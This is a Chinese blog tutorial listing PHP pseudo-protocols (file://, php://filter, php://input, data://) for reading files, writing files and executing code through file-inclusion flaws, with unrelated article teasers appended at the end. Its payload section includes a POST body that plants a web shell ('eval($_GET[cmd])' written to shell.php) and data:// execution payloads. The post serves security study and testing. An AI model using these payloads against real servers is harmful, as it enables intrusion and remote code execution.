php常用伪协议整理

news/2024/11/25 0:39:55/

前言

欢迎来到我的博客

个人主页:北岭敲键盘的荒漠猫-CSDN博客

本文整理php常见的伪协议

php伪协议介绍

直观点,就是php可以识别的协议。

类似于我们访问网站的http协议,我们用浏览器访问我们自己本地文件的file协议等。

php可以识别这些协议,并且访问指定的资源。

PHP伪协议的版本以及适用条件

allow_url_fopen与allow_url_include为php的两个配置选项。

以下为他们的适用条件以及版本条件。

其他语言支持的情况(老图了)。

实现文件读取的协议

file协议

作用:访问绝对路径的文件,并展现内容

需要绝对路径。

php协议

作用:能够读取出数据(需要自行解个码)

payload:

php://filter/read=convert.base64-encode/resource=文件相对路径

实现文件写入的协议

php input协议

作用:有执行代码的能力,可以执行写入文件的 代码

payload:

php://input

POST:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

php write协议

作用:写入一个文件

局限性:他需要对方使用file_put_contents($name,$contents)才能执行

payload:

php://filter/write=convert.base64-encode/resource=phpinfo.php

实现代码执行的协议

PHP input协议

作用:执行后续代码

php://input POST:<?php phpinfo();?>

data协议写入

作用:执行后面代码,一个加密,一个不加密。

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b


http://www.ppmy.cn/news/1549674.html

相关文章

C语言——break、continue、goto

目录 一、break 二、continue 1、在while循环中 2、在for循环中 三、go to 一、break 作用是终止循环&#xff0c;在循环内遇到break直接就跳出循环。 注&#xff1a; 一个break语句只能跳出一层循环。 代码演示&#xff1a; #include<stdio.h>void test01() {for (…

Elasticsearch 分词器

一、分词器的作用 分词器&#xff08;Analyzer&#xff09;是Elasticsearch中用于文本分析与处理的组件。它的主要作用是将用户输入的一段文本&#xff0c;按照一定逻辑分析成多个词语。这个过程也叫做文本分析或文本切分。 二、分词器的构成 分词器由三部分组成&#xff1a…

【计算机网络】解决bind error

服务器有时可以立即重启&#xff0c;有时候无法立即重启 — bind error 首先要知道&#xff1a;四次挥手动作完成之后&#xff0c;主动断开连接的一方要维持一段时间的TIME_WAIT bind error原因&#xff1a;因为是服务器主动断开的&#xff0c;所以服务器要去维持TIME_WAIT状…

【element-tiptap】Tiptap编辑器核心概念----内容、扩展与词汇

前言&#xff1a;本篇文章继续来讲Tiptap编辑器的核心概念&#xff0c;主要是内容、扩展、词汇相关的概念 &#xff08;一&#xff09;内容 文档内容被存储在编辑器实例的 state 属性中。所有的修改都会以事务 transaction 的形式应用于 state。state 详细介绍了当前的内容、…

java编程开发基础,正则表达式的使用案例Demo

java编程开发基础,正则表达式的使用案例Demo!实际开发中&#xff0c;经常遇到一些字符串&#xff0c;信息的裁剪和提取操作&#xff0c;正则表达式是经常使用的&#xff0c;下面的案例&#xff0c;可以帮助大家快速的了解和熟悉&#xff0c;正则表达式的使用技巧。 package com…

小红书/小绿书笔记保存攻略:图片去水印保存,文案一键复制

家人们&#xff0c;原来这么简单啊 上教程&#xff0c; 这样保存的图片无水印&#xff0c; 这样轻松可以复制文案&#xff0c; 完全免费呀 #免费去水印 #干货分享 #视频去水印 #图片去水印 #文案复制 #文案保存 #保存笔记 #视频下载 #小红书笔记保存 #去水印教程 #新媒体运营工…

使用脚本判断网络连接状态,并且添加对应路由

这个脚本通过不断检测有线网络和4G网络的连通性来动态调整默认路由。如果两个网络都可用&#xff0c;则优先使用4G网络。如果只有一个网络可用&#xff0c;则使用该网络。如果两个网络都不可用&#xff0c;则每秒钟检测一次&#xff0c;连续30次检测失败后重启设备。 #!/bin/b…

Cargo Rust 的包管理器

Cargo->Rust 的包管理器 Cargi简介Cargo 的主要功能1. 创建项目2. 管理依赖3. 构建项目4. 运行项目5. 测试代码6. 检查代码7. 生成文档8. 发布和分享包 Cargo 的核心文件1. Cargo.toml2. Cargo.lock **Cargo 的生态系统** 常用命令总结Hello, Cargo! 示例 Cargi简介 Cargo …